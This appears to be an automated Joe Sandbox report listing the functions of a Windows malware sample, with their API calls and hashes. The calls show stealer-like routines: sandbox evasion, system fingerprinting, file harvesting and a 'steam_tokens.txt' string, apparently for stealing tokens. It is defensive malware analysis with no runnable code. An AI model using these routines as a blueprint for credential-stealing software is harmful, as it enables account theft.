Instruction ID: adbcd47bb22ca6d6b42933acd4cabc8e10c5a14c322029dfd4b487fe3fd33794
Opcode Fuzzy Hash: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction Fuzzy Hash: C9F03139F44604FBDB20DBF0DC85BDE7779BF44710F118255B951A7280DA7496428B44

Uniqueness

Uniqueness Score: -1.00%

Function 004137B3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02F66AB8,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,02F66AB8,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction ID: 00ad45554361a1bf9ffb836df5d455c5d00fe00f471bf70531fad30136aebd8c
Opcode Fuzzy Hash: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction Fuzzy Hash: 5FF054B0944206AAE720AFA1DD05BFE7675BB08B46F10851AF612951C0DBB856818A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00404470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Strings

<, xrefs: 00404489

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlenmalloc
String ID: <
API String ID: 3848002758-4251816714
Opcode ID: 687962ccc4eae67d17fcff549de06531ab168f4bf6ac0391c2f29faedae00af7
Instruction ID: 4ed07355fbd84ea2b0e25782c0c6f45789bb77a73037a8222357df496ca5bcbd
Opcode Fuzzy Hash: 687962ccc4eae67d17fcff549de06531ab168f4bf6ac0391c2f29faedae00af7
Instruction Fuzzy Hash: 52216DB1D00208ABDF10EFA5E845BDD7B74AB44324F008229FA25B72C0EB346A46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF80 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02F84860), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,02F84870), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,02F846F0), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ac6fbb73228d0206435a46ffed4f596fee93e2688cbfb01a112d3bcfd63f8062
Instruction ID: 4355cab003f180362ea4467312be264c8b2230b95154913c46dc9b5fce20c885
Opcode Fuzzy Hash: ac6fbb73228d0206435a46ffed4f596fee93e2688cbfb01a112d3bcfd63f8062
Instruction Fuzzy Hash: 8D719871B002099BCF08FF75D9929EEB77AAF94304B10852EF4099B285EA34DE45CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF9F Relevance: 4.7, APIs: 3, Instructions: 177COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02F84860), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,02F84870), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,02F846F0), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: d03cb2ae7054ea4a95a98a2d2f64c01504d9aefcb5cab7ec47e36db7f5e07a27
Instruction ID: f0c51ec5e8e6f52f2f367cc82315d09f99f950b48122d5325302ee48485a66a2
Opcode Fuzzy Hash: d03cb2ae7054ea4a95a98a2d2f64c01504d9aefcb5cab7ec47e36db7f5e07a27
Instruction Fuzzy Hash: 03618A71B002099FCF08EF75D9929EEB77AAF94304B10852EF4099B295DA34EE45CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 004127E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 0041281A
lstrcat.KERNEL32(?,02F8B5B8), ref: 00412838

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041260A
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D4B2), ref: 0041261C
Part of subcall function 00412570: wsprintfA.USER32 ref: 00412639
Part of subcall function 00412570: PathMatchSpecA.SHLWAPI(?,?), ref: 0041266F
Part of subcall function 00412570: lstrcat.KERNEL32(?,02F84950), ref: 0041269B
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D880), ref: 004126AD
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126BE
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D884), ref: 004126D0
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126E4
Part of subcall function 00412570: CopyFileA.KERNEL32(?,?,00000001), ref: 004126FA
Part of subcall function 00412570: DeleteFileA.KERNEL32(?), ref: 00412779

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041265B

Strings

00A, xrefs: 0041285C, 0041288B, 004128BB, 004128EA, 0041291A, 00412949, 0041296B, 0041285F, 0041288E, 004128BE, 004128ED, 0041291D, 0041294C

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 00A
API String ID: 2104210347-95910775
Opcode ID: aee14ac10de1ece76b3008eda533a8383be3bc2d628396bcb6b319180cdda7cd
Instruction ID: 9a839e9be304faf39bc4facc08b08f26c4420ed68fa3aa933a56f5c5bfc0aac5
Opcode Fuzzy Hash: aee14ac10de1ece76b3008eda533a8383be3bc2d628396bcb6b319180cdda7cd
Instruction Fuzzy Hash: 6441ABB7A001047BCB24FBE0DC92EEA377E9B94705F00424DB55987191ED74A7D48BD9

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CCE3095

Part of subcall function 6CCE35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CD6F688,00001000), ref: 6CCE35D5
Part of subcall function 6CCE35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CCE35E0
Part of subcall function 6CCE35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CCE35FD
Part of subcall function 6CCE35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CCE363F
Part of subcall function 6CCE35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CCE369F
Part of subcall function 6CCE35A0: __aulldiv.LIBCMT ref: 6CCE36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CCE309F

Part of subcall function 6CD05B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CD056EE,?,00000001), ref: 6CD05B85
Part of subcall function 6CD05B50: EnterCriticalSection.KERNEL32(6CD6F688,?,?,?,6CD056EE,?,00000001), ref: 6CD05B90
Part of subcall function 6CD05B50: LeaveCriticalSection.KERNEL32(6CD6F688,?,?,?,6CD056EE,?,00000001), ref: 6CD05BD8
Part of subcall function 6CD05B50: GetTickCount64.KERNEL32 ref: 6CD05BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CCE30BE

Part of subcall function 6CCE30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CCE3127
Part of subcall function 6CCE30F0: __aulldiv.LIBCMT ref: 6CCE3140

Part of subcall function 6CD1AB2A: __onexit.LIBCMT ref: 6CD1AB30

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7e401f268c96713757caaa407d3f24765f14c8a65ce80989bd1fed972e4b6357
Instruction ID: 1890d29add24ca604282e01c0f3ae90e3a9880bb79cb50fac2d1ee07d954bc39
Opcode Fuzzy Hash: 7e401f268c96713757caaa407d3f24765f14c8a65ce80989bd1fed972e4b6357
Instruction Fuzzy Hash: D6F0D612E24B8496EA10DFB598413B6B378AF6B214F106719E94457671FB3062D8C3E2

Uniqueness

Uniqueness Score: -1.00%

Function 00415B70 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
CloseHandle.KERNEL32(00000000), ref: 00415BAF

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction ID: b12b055c0fde6327b7bfc42128d307bcca402a5100f46dd347d8d84938e244fe
Opcode Fuzzy Hash: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction Fuzzy Hash: C5F05475A0010CFBDB14DFA4DC4AFED7778BB08300F004499BA0597280D6B06E85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414400 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
HeapAlloc.KERNEL32(00000000), ref: 00414414
GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction ID: 2ac30a00ccf60c4f43266989ac8565747831d88261cb92d9c694311de33eed43
Opcode Fuzzy Hash: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction Fuzzy Hash: F1E0D8B0A00608FBCB20DFE4DD48BDD77BCAB04305F100055FA05D3240D7749A458B96

Uniqueness

Uniqueness Score: -1.00%

Function 004010D0 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
ExitProcess.KERNEL32 ref: 00401103

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction ID: b86936f0f7b92ad6105a5e8d9325c57b614f4cde8fc05540e07f2d0ff83aec39
Opcode Fuzzy Hash: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction Fuzzy Hash: 1BE0867098570CBBE7309BA0DD0AB1976689B08B06F101055F7097A1D0C6B425008699

Uniqueness

Uniqueness Score: -1.00%

Function 004119B0 Relevance: 3.1, APIs: 2, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004119C8

Part of subcall function 00411650: wsprintfA.USER32 ref: 00411669
Part of subcall function 00411650: FindFirstFileA.KERNEL32(?,?), ref: 00411680

strtok_s.MSVCRT ref: 00411A4D

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction ID: 5fc3070f54b5ba386e916c7c3ae22cc6ad81f817c7a7f871d2ab45b9afc63085
Opcode Fuzzy Hash: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction Fuzzy Hash: 19215471900108EBCB14FFA5CC55FED7B79AF44345F10805AF51A97151EB386B84CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F66AB8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(00000000,00000000,0041D599,?,?,?,?,?,?,00412FF8,?), ref: 00412B5A

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F84A10), ref: 00404ED9

Strings

steam_tokens.txt, xrefs: 00412B6F

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$InternetOpen
String ID: steam_tokens.txt
API String ID: 2934705399-401951677
Opcode ID: 29cdd227098b0fda198d214d65554e6b3865452a1ef6186352ec937a59b0425b
Instruction ID: 10dd2298c38adeb5e36390c5bfe4eda46295fd03d88468a146a299c80adb3810
Opcode Fuzzy Hash: 29cdd227098b0fda198d214d65554e6b3865452a1ef6186352ec937a59b0425b
Instruction Fuzzy Hash: 18F08175D1020866CB18FBB2EC539ED773D9E54348B00425EF81662491EF38A788C6E9

Uniqueness

Uniqueness Score: -1.00%

Function 004147C0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 004147CD
wsprintfA.USER32 ref: 004147E3

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction ID: d87a4f6b3ea3f44bdf221dc5e2fa01f01132d118a4d77551e5f155a4815ada85
Opcode Fuzzy Hash: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction Fuzzy Hash: FAD012B580020C5BD720DBD0ED49AE9B77DBB44204F4049A5EE1492140EBB96AD58AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B190
lstrlen.KERNEL32(00000000), ref: 0040B1A4

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F84A10), ref: 00404ED9

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocInternetLocalOpenmemcmpmemset
String ID:
API String ID: 574041509-0
Opcode ID: 45c24fbc48c27c3a5cf3ccac3ee5b7aeabef54b1ba7ebe04fbe0a26b20731adf
Instruction ID: df99340f366afcb3d937a345db0e295b6fae9bf0b5ece921659d29683b3ff0c0
Opcode Fuzzy Hash: 45c24fbc48c27c3a5cf3ccac3ee5b7aeabef54b1ba7ebe04fbe0a26b20731adf
Instruction Fuzzy Hash: 6CE114769101189BCF15EBA1DC92EEE773DBF54308F41415EF10676091EF38AA89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6E0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040A95A
lstrlen.KERNEL32(00000000), ref: 0040A96E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F84A10), ref: 00404ED9

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: bd508740eb8d6f24d56cf7876687690649f7e8d1c09ee47dc08c796672bf728c
Instruction ID: 9f23dc4c71334aa449457ef7a0e8bbad4682aa92b3b7ddf60c673b4dae8ee631
Opcode Fuzzy Hash: bd508740eb8d6f24d56cf7876687690649f7e8d1c09ee47dc08c796672bf728c
Instruction Fuzzy Hash: FC9149729102049BCF14FBA1DC51EEE773DBF54308F41425EF50666091EF38AA89CBA9

